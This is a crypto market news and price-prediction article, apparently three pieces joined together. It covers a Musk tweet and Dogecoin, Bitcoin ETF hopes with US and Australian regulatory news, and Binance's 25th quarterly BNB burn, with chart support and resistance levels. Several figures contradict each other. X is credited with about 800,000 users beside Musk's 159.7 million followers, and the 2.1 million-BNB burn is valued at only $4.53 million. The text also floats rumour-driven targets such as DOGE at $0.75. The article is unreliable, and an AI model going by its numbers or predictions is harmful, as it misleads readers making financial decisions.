A recent tweet from Elon Musk, the world's wealthiest entrepreneur, has ignited excitement within the global cryptocurrency community. Musk took a philosophical approach this time, discussing the challenges of overcoming hatred and navigating regulatory issues.
As is often the case, his tweets had the most significant impact on the DOGE, SHIB, and XRP communities. 
Musk asked his 159.7 million Twitter followers: "How many times did you face adversity before achieving success?" Prominent figures like Billy Markus from Dogecoin and experts in Shiba Inu responded almost instantly.
Musk's tweets hold significant importance due to his status as the most followed individual on Twitter, now known as the X app. 
Hence, Elon Musk's recent tweet discussing overcoming challenges and dealing with regulators stirred excitement in the crypto community, particularly for DOGE. 
Musk & Ackman's Alleged Alliance: Implications for Dogecoin's Future
Apart from this, the mere mention of both Elon Musk and Bill Ackman in a single conversation is enough to ignite excitement in the cryptocurrency world. 
Recent rumours suggest a potential partnership between Musk's X social media platform and Ackman's Pershing Square Capital Management, leaving people curious about its implications, especially for Dogecoin.
Billionaire Bill Ackman, CEO of Pershing Square, has shown interest in Musk's X platform, which boasts nearly 800,000 users. 
With recent regulatory approval for Ackman's SPARC, a focus on private growth companies is clear. Musk's ties to Dogecoin and speculation about DOGE being used in X's payment systems raise questions about a partnership's potential to drive Dogecoin's value towards $0.75. 
This union could notably boost DOGE's price through expanded adoption and influence. 
Dogecoin Price
On October 15, #Dogecoin (DOGE/USD) showcased some promising signs in its daily technical outlook. As of today, Dogecoin's price rests at $0.059396. Within the last 24 hours, the coin experienced a trading volume of $118.45 million, and its value has ascended by 1.50%.
According to CoinMarketCap, Dogecoin presently ranks 9th with an impressive live market capitalization of approximately $8.4 billion. The circulating supply stands at a hefty 141.42 billion DOGE coins, though its maximum supply remains undisclosed.
Dogecoin Price Prediction 
For those keeping a close watch on the 4-hour chart timeframe, there are some critical price levels to monitor:
Pivot Point: $0.06230Immediate Resistance: $0.06500Subsequent Resistances: $0.06780 and $0.07060Immediate Support: $0.05940Further Supports: $0.05660 and $0.05380
In terms of technical indicators, the Relative Strength Index (RSI) clocks in at 46, suggesting a bearish sentiment as it's below the pivotal 50 mark. While specific figures for the Moving Average Convergence Divergence (MACD) are pending, its trend lines are often paramount in predicting possible momentum shifts. 
Meanwhile, the 50-Day Exponential Moving Average (50 EMA) stands at $0.05930, suggesting a bullish trend since Dogecoin's price is slightly above this figure.

While the exact chart patterns observed for Dogecoin are yet to be specified, these patterns can offer significant insights into potential future movements.
In conclusion, the overall sentiment for Dogecoin leans bullish as it is slightly above the $0.0593 mark. In the short term, it's expected that Dogecoin might touch or test some of the aforementioned resistance levels. 
As always, investors should stay informed and be ready for the volatile nature of the crypto markets.

As #Bitcoin price oscillates in its valuation, showing a recent dip of 2.5% in seven days, several fundamental and geopolitical factors are coming into play to chart its future course. 
Trading at $27,231 with a Monday surge of 1.50%, the cryptocurrency titan is facing pivotal moments. 
Market speculation is rife as anticipation builds over the SEC's potential approval for Bitcoin ETFs, a move that could significantly alter the crypto landscape. 
Furthermore, the revelation that the US government holds a more substantial Bitcoin reserve than any other country globally brings additional dynamics into the equation. 
Meanwhile, the Australian Treasury's inclination to regulate cryptocurrency exchanges, focusing less on the tokens themselves, offers a fresh perspective on how nations choose to navigate the intricate web of digital currencies.
SEC's Potential Green Light for Bitcoin ETFs Fuels Market Buzz
Bitcoin is currently witnessing heightened interest and market activity, largely influenced by a positive market sentiment surrounding the potential approval of a spot Bitcoin Exchange-Traded Fund (ETF) by the US Securities and Exchange Commission (SEC).
After the SEC chose not to oppose the court's ruling on the Grayscale Bitcoin ETF, there's an escalating conversation about the likelihood of the SEC approving various Bitcoin ETFs within the next 3 to 5 months.
This prospect has sparked significant excitement in both financial and cryptocurrency circles, symbolizing a possible turning point in the mainstream adoption and regulatory endorsement of Bitcoin.
US Government: The Leading Holder of Bitcoin Globally
The US government possesses the largest state-owned collection of Bitcoin in the world, amassing a total of 207,189 bitcoins valued at approximately $5 billion, primarily from asset seizures. 
While many nations have liquidated their crypto reserves, the US has consistently expanded its holdings. 
A recent study by Sachin Jaitly of Morgan Creek Capital highlighted a significant correlation between the rising money supply, concerns about inflation, and sovereign Bitcoin adoption.
Interestingly, the U.S. has auctioned off Bitcoin worth $366.5 million over time, potentially foregoing substantial gains from its appreciation. 
Nonetheless, the influence of the US government's $5 billion Bitcoin reserve on hedging against inflation remains minimal, given the magnitude of the government's comprehensive balance sheet.
The revelation of the US government's considerable Bitcoin holdings could bolster confidence in the cryptocurrency markets, possibly influencing today's uptick in Bitcoin's value as investors interpret this governmental involvement as a bullish indicator.
Australian Treasury Eyes Regulation of Crypto Exchanges Over Tokens
The Australian Treasury recently unveiled a consultation paper detailing its intentions to regulate the nation's digital asset sector, particularly emphasizing cryptocurrency exchanges. 
If these proposed regulations take effect, cryptocurrency exchanges in Australia could be required to secure a financial services license from the Australian Securities and Investment Commission (ASIC) should they hold more than $3.2 million or serve individual customers with amounts surpassing $946. 
This initiative is largely perceived as a pivotal move towards bolstering consumer protection while simultaneously encouraging innovation within the digital asset domain.

Significantly, this regulatory shift seems to have cast a favourable light on Bitcoin (BTC). 
Although the exact ramifications on the broader crypto market are yet to be ascertained, the introduction of regulatory clarity and a supportive stance for the industry in Australia has evoked positive reactions from investors. 
This sentiment, in tandem with other prevailing market drivers, indicates a more bullish market perspective, potentially fueling BTC's current price trajectory.
Bitcoin Price Prediction

From a technical standpoint, the 4-hour chart provides insightful revelations. The pivot point for Bitcoin currently rests at $27,254. 
On the upper side, resistance levels are seen at $27,946, followed by $28,713 and a further resistance at $29,430. 
Conversely, on the downside, Bitcoin finds immediate support at $26,474, with subsequent supports at $25,770 and $25,002.
In wrapping up the analysis, the overarching trend for Bitcoin leans bullish, especially if it maintains its stance above the crucial $27,255 mark. 
Over the short haul, the current momentum combined with the bullish technical indicators suggests Bitcoin may very well challenge the resistance level of $27,946. 

One of the world's largest cryptocurrency exchanges, Binance, has successfully completed its 25th quarterly #BNB token burn, reducing the supply of its native cryptocurrency, Binance Coin (BNB). 
In this latest burn, a total of 2,139,182 BNB tokens were removed from circulation, translating to a value of approximately $4.53 million.
In July, Binance announced the 24th quarterly BNB burn, during which approximately 1.99 million BNB tokens, worth around $484 million were removed from circulation. 
#Binance intends to eliminate more than 100 million BNB, which accounts for half of the total supply, through a series of token burns, with the ultimate goal of retaining only 100 million BNB in circulation.
BNB Remains in Green
This practice, which began in October 2017, involves the elimination of a set number of BNB tokens each quarter to enhance scarcity and, in turn, create potential value appreciation.
Despite the substantial quantity of tokens being burned, the market response this time was relatively subdued, with BNB trading at around $213, representing a 2.74% increase over the past 24 hours.
The BNB burning process is meticulously orchestrated through the Auto-Burn formula, which factors in the coin's price and the number of blocks generated on the Binance Smart Chain. 
This provides an independently auditable and objective process, ensuring transparency in the token burning mechanism. 
The figures are reported quarterly, offering investors and the crypto community clear insights into the supply reduction.
The burning mechanism operates independently of Binance's centralized exchange. 
Moreover, BNB Chain, which operates separately, continues to burn a portion of BNB Chain’s gas fees in real-time using a bespoke mechanism. 
This ongoing reduction in supply, coupled with its application in transaction fees, underscores Binance's multifaceted approach to managing and enhancing the value of BNB.